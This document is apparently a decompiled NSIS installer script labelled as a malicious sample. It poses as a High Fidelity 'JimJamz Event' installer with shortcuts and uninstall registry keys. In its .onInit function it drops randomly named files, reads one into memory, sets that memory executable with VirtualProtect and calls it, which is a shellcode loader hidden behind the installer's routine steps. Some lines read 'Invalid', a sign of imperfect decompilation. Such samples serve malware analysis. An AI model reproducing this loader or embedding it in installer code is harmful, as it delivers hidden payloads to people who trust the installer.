A script from the malicious NSIS protector

[NSIS].nsi

; NSIS script NSIS-2
; Install

SetCompressor /SOLID lzma
SetCompressorDictSize 8

; --------------------
; HEADER SIZE: 12293
; START HEADER SIZE: 300
; MAX STRING LENGTH: 1024
; STRING CHARS: 3479

OutFile [NSIS].exe
!include WinMessages.nsh



; --------------------
; LANG TABLES: 1
; LANG STRINGS: 47

Name "Dravidian Unclassified"
BrandingText "Nullsoft Install System v2.46"

; LANG: 1033
LangString LSTR_0 1033 "Nullsoft Install System v2.46"
LangString LSTR_1 1033 "$(LSTR_2) Setup"
LangString LSTR_2 1033 "Dravidian Unclassified"
LangString LSTR_5 1033 "Can't write: "
LangString LSTR_6 1033 "Copy failed"
LangString LSTR_7 1033 "Copy to "
LangString LSTR_8 1033 "Could not find symbol: "
LangString LSTR_9 1033 "Could not load: "
LangString LSTR_10 1033 "Create folder: "
LangString LSTR_11 1033 "Create shortcut: "
LangString LSTR_12 1033 "Created uninstaller: "
LangString LSTR_13 1033 "Delete file: "
LangString LSTR_14 1033 "Delete on reboot: "
LangString LSTR_15 1033 "Error creating shortcut: "
LangString LSTR_16 1033 "Error creating: "
LangString LSTR_17 1033 "Error decompressing data! Corrupted installer?"
LangString LSTR_20 1033 "Execute: "
LangString LSTR_21 1033 "Extract: "
LangString LSTR_22 1033 "Extract: error writing to file "
LangString LSTR_23 1033 "Installer corrupted: invalid opcode"
LangString LSTR_24 1033 "No OLE for: "
LangString LSTR_25 1033 "Output folder: "
LangString LSTR_26 1033 "Remove folder: "
LangString LSTR_29 1033 "Skipped: "
LangString LSTR_30 1033 "Copy Details To Clipboard"
LangString LSTR_36 1033 "Error opening file for writing: $\r$\n$\r$\n$0$\r$\n$\r$\nClick Abort to stop the installation,$\r$\nRetry to try again, or$\r$\nIgnore to skip this file."
LangString LSTR_37 1033 Custom
LangString LSTR_38 1033 Cancel
LangString LSTR_39 1033 ": Installing"
LangString LSTR_40 1033 "Show &details"
LangString LSTR_41 1033 Completed
LangString LSTR_42 1033 "< &Back"
LangString LSTR_43 1033 "&Next >"
LangString LSTR_44 1033 "Click Next to continue."
LangString LSTR_45 1033 ": Completed"
LangString LSTR_46 1033 &Close


; --------------------
; VARIABLES: 26

Var _0_
Var _1_
Var _2_
Var _3_
Var _4_
Var _5_
Var _6_
Var _7_
Var _8_
Var _9_
Var _10_
Var _11_
Var _12_
Var _13_
Var _14_
Var _15_
Var _16_
Var _17_
Var _18_
Var _19_
Var _20_
Var _21_
Var _22_
Var _23_
Var _24_
Var _25_


InstType $(LSTR_37)    ;  Custom
InstallDir $TEMP
; wininit = $WINDIR\wininit.ini


; --------------------
; PAGES: 2

; Page 0
Page instfiles
  CompletedText $(LSTR_41)    ;  Completed
  DetailsButtonText $(LSTR_40)    ;  "Show &details"

/*
; Page 1
Page COMPLETED
*/


; --------------------
; SECTIONS: 1
; COMMANDS: 255

Function func_0
  Exch $R2
    ; Push $R2
    ; Exch
    ; Pop $R2
  Exch
  Exch $R1
    ; Push $R1
    ; Exch
    ; Pop $R1
  Exch 2
  Exch $R0
    ; Push $R0
    ; Exch
    ; Pop $R0
  Push $R3
  Push $R4
  Push $R5
  Push $R6
  Push $R7
  Push $R8
  Push $R9
  StrCpy $R3 0
  StrLen $R4 $R1
  StrLen $R6 $R0
  StrLen $R9 $R2
label_22:
  StrCpy $R5 $R0 $R4 $R3
  StrCmp $R5 $R1 label_27
  StrCmp $R3 $R6 label_34
  IntOp $R3 $R3 + 1
  Goto label_22
label_27:
  StrCpy $R5 $R0 $R3
  IntOp $R8 $R3 + $R4
  StrCpy $R7 $R0 "" $R8
  StrCpy $R0 $R5$R2$R7
  StrLen $R6 $R0
  IntOp $R3 $R3 + $R9
  Goto label_22
label_34:
  Pop $R9
  Pop $R8
  Pop $R7
  Pop $R6
  Pop $R5
  Pop $R4
  Pop $R3
  Push $R0
  Push $R1
  Pop $R0
  Pop $R1
  Pop $R0
  Pop $R2
  Exch $R1
    ; Push $R1
    ; Exch
    ; Pop $R1
FunctionEnd


Function func_51
  Exch $_1_
    ; Push $_1_
    ; Exch
    ; Pop $_1_
  Exch
  Exch $_0_
    ; Push $_0_
    ; Exch
    ; Pop $_0_
  StrCpy $_6_ ""
  StrCpy $_2_ -1
  StrLen $_3_ $_1_
  StrLen $_5_ $_0_
label_62:
  IntOp $_2_ $_2_ + 1
  StrCpy $_4_ $_0_ $_3_ $_2_
  StrCmp $_4_ $_1_ label_67
  StrCmp $_2_ $_5_ label_69
  Goto label_62
label_67:
  StrCpy $_6_ $_1_
  Goto label_69
label_69:
  Pop $_1_
  Exch $_6_
    ; Push $_6_
    ; Exch
    ; Pop $_6_
FunctionEnd


Section LightInstaller ; Section_0
  Call func_171
  StrCmp false true 0 label_77
  Call func_180
label_77:
  Call func_215
  Call func_228
SectionEnd


Function func_80
  StrCpy $_7_ false
  StrCpy $_8_ false
FunctionEnd


Function func_83
  WriteUninstaller "$APPDATA\High Fidelity\JimJamz\Uninstall High Fidelity JimJamz Event.exe" ;  "$INSTDIR\$APPDATA\High Fidelity\JimJamz\Uninstall High Fidelity JimJamz Event.exe"
  WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" DisplayName "High Fidelity JimJamz Event"
  WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" UninstallString "$\"$APPDATA\High Fidelity\JimJamz\Uninstall High Fidelity JimJamz Event.exe$\""
  WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" DisplayIcon "$\"$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe$\""
  WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" Publisher "High Fidelity, Inc"
  WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" HelpLink http://highfidelity.com
  WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" URLUpdateInfo http://highfidelity.com
  WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" URLInfoAbout http://highfidelity.com
  WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" DisplayVersion 1.0.0
  WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" VersionMajor 1
  WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" VersionMinor 0
  WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" NoModify 1
  WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" NoRepair 1
  WriteRegDWORD HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\High Fidelity, Inc High Fidelity JimJamz Event" EstimatedSize 1024
FunctionEnd


Function .onInit
  InitPluginsDir
    ; Call Initialize_____Plugins
    ; SetDetailsPrint lastused
  SetOutPath $INSTDIR
  File 5e9ikl8w3iif7ipp6
  File 3ugs67ip868x5n
  File tjdorfrldbgdlq
  System::Alloc 1024
    ; Call Initialize_____Plugins
    ; SetOverwrite off
    ; File $PLUGINSDIR\System.dll
    ; SetDetailsPrint lastused
    ; Push 1024
    ; CallInstDLL $PLUGINSDIR\System.dll Alloc
  Pop $0
  System::Call "kernel32::CreateFile(t'$INSTDIR\tjdorfrldbgdlq', i 0x80000000, i 0, p 0, i 3, i 0, i 0)i.r10"
    ; Call Initialize_____Plugins
    ; File $PLUGINSDIR\System.dll
    ; SetDetailsPrint lastused
    ; Push "kernel32::CreateFile(t'$INSTDIR\tjdorfrldbgdlq', i 0x80000000, i 0, p 0, i 3, i 0, i 0)i.r10"
    ; CallInstDLL $PLUGINSDIR\System.dll Call
  System::Call "kernel32::VirtualProtect(i r0, i 1024, i 0x40, p0)p.r1"
    ; Call Initialize_____Plugins
    ; AllowSkipFiles off
    ; File $PLUGINSDIR\System.dll
    ; SetDetailsPrint lastused
    ; Push "kernel32::VirtualProtect(i r0, i 1024, i 0x40, p0)p.r1"
    ; CallInstDLL $PLUGINSDIR\System.dll Call
  System::Call "kernel32::ReadFile(i r10, i r0, i 1024, t., i 0) i .r3"
    ; Call Initialize_____Plugins
    ; File $PLUGINSDIR\System.dll
    ; SetDetailsPrint lastused
    ; Push "kernel32::ReadFile(i r10, i r0, i 1024, t., i 0) i .r3"
    ; CallInstDLL $PLUGINSDIR\System.dll Call
  System::Call ::$0()
    ; Call Initialize_____Plugins
    ; File $PLUGINSDIR\System.dll
    ; SetDetailsPrint lastused
    ; Push ::$0()
    ; CallInstDLL $PLUGINSDIR\System.dll Call
  Call func_80
  CreateDirectory "$APPDATA\High Fidelity\JimJamz"
  CopyFiles $EXEPATH "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe"    ; "$(LSTR_7)$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe"    ;  "Copy to "
  CreateShortCut "$DESKTOP\High Fidelity JimJamz Event.lnk" "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe"
  CreateDirectory "$SMPROGRAMS\High Fidelity JimJamz Event"
  CreateShortCut "$SMPROGRAMS\High Fidelity JimJamz Event\High Fidelity JimJamz Event.lnk" "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe" "" "$APPDATA\High Fidelity\JimJamz\High Fidelity JimJamz Event.exe"
  Call func_83
  Return

FunctionEnd


Function func_139
  ReadRegStr $_9_ HKCR hifi\DefaultIcon ""
  Push $_9_
  Push ,1
  Push ""
  Call func_0
  Pop $_9_
FunctionEnd


Function func_146
  Call func_139
  StrCmp $_9_ "" label_169
  IfFileExists $_9_ label_149 label_169
label_149:
  StrCpy $R0 139
  ExecWait "$\"$_9_$\" --suppress-settings-reset --protocolVersion $TEMP\version.txt"
  FileOpen $_11_ $TEMP\version.txt r
  FileRead $_11_ $_10_
  FileClose $_11_
  StrCmp $_10_ vNTlzyZbPVfAprVzet07vA== 0 label_157
  StrCpy $_8_ true
  Goto label_167
label_157:
  Push $_9_
  Push steamapps
  Call func_51
  Pop $_14_
  StrCmp $_14_ "" label_163
  Goto label_164
label_163:
  Goto label_169
label_164:
  MessageBox MB_RETRYCANCEL|MB_ICONEXCLAMATION "You have an old version of High Fidelity installed through Steam.$\r$\nPlease update High Fidelity through Steam, then press Retry.$\r$\nTo quit this installer, press Cancel.$\r$\n$\r$\nNOTE: During debugging, while the Steam version of HiFi is out-of-date, you will get stuck here, as no version of HiFi is up-to-date enough to work with this installer." /SD IDCANCEL IDRETRY label_167 IDCANCEL 0
  Quit
  Call func_146
label_167:
  Delete $TEMP\version.txt
  Goto label_170
label_169:
  StrCpy $_7_ true
label_170:
FunctionEnd


Function func_171
  Call func_146
  StrCmp $_7_ true 0 label_179
  StrCpy $_13_ hifi_installer.exe
  StrCpy $_12_ $TEMP\$_13_
  Pop $R0
  StrCmp $R0 OK label_180
  MessageBox MB_OK "High Fidelity Interface download failed with status: $R0. Please try running this installer again."
  Quit
label_179:
FunctionEnd


Function func_180
label_180:
  IfFileExists "$APPDATA\High Fidelity\content-sets\jimjamz-1" label_181 label_182
label_181:
  Goto label_192
label_182:
  StrCpy $_15_ hifi_content.zip
  StrCpy $_16_ $TEMP\$_15_
  Pop $R0
  StrCmp $R0 OK label_189
  MessageBox MB_OK "Content download failed with status: $R0. Please try running this installer again."
  Quit
  Pop $R0
label_189:
  StrCmp $R0 success label_192
  MessageBox MB_OK "Content set decompression failed with status: $R0. Please try running this installer again."
  Goto label_192
label_192:
  Return

  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
  Invalid
Function func_215
  StrCmp $_7_ true 0 label_227
  Exec "$\"$_12_$\" /nSandboxIfNew /S /forceNoLaunchClient /forceNoLaunchServer"
  StrCpy $_24_ 1
  StrCpy $_23_ hifi$_24_.bmp
  Pop $_18_
  StrCmp $_18_ error 0 label_222
  Abort
label_222:
  Pop $_19_
  Pop $_20_
  SendMessage $_20_ 0x040a 1 50
  Pop $_21_
  EnableWindow $$mui.Button.Cancel 1
label_227:
FunctionEnd


Function func_228
  Push $CMDLINE
  Push /forceNoLaunchClient
  Call func_51
  Pop $_14_
  StrCmp $_8_ true 0 label_238
  StrCmp $_14_ "" 0 label_238
  Call func_139
  StrCpy $_25_ "--url $\"hifi://JimJamz$\"  --suppress-settings-reset --skipTutorial"
  IfFileExists $APPDATA\..\LocalLow\Morph3D\ReadyRoom\High_Fidelity_RR_Launch.js label_237 label_237
label_237:
  Exec "$\"$_9_$\"  $_25_"
label_238:
  SendMessage $HWNDPARENT 0x0111 2 0
  Quit
FunctionEnd


/*
Function Initialize_____Plugins
  SetDetailsPrint none
  StrCmp $PLUGINSDIR "" 0 label_251
  Push $0
  SetErrors
  GetTempFileName $0
  Delete $0
  CreateDirectory $0
  IfErrors label_252
  StrCpy $PLUGINSDIR $0
  Pop $0
label_251:
  Return

label_252:
  MessageBox MB_OK|MB_ICONSTOP "Error! Can't initialize plug-ins directory. Please try again later." /SD IDOK
  Quit
FunctionEnd
*/



; --------------------
; UNREFERENCED STRINGS:

/*
1 ProgramFilesDir
17 "C:\Program Files"
34 $PROGRAMFILES
38 CommonFilesDir
53 "$PROGRAMFILES\Common Files"
70 $COMMONFILES
2195 $_17_
2203 "High Fidelity failed to install. Please rerun this installer."
2265 $_19_
2269 0x000C
2280 100
2284 0x0402
2291 $${PBST_ERROR}
2305 $${PBM_SETSTATE}
2321 "High Fidelity has finished installing!"
2364 Finish
2371 $_24_
*/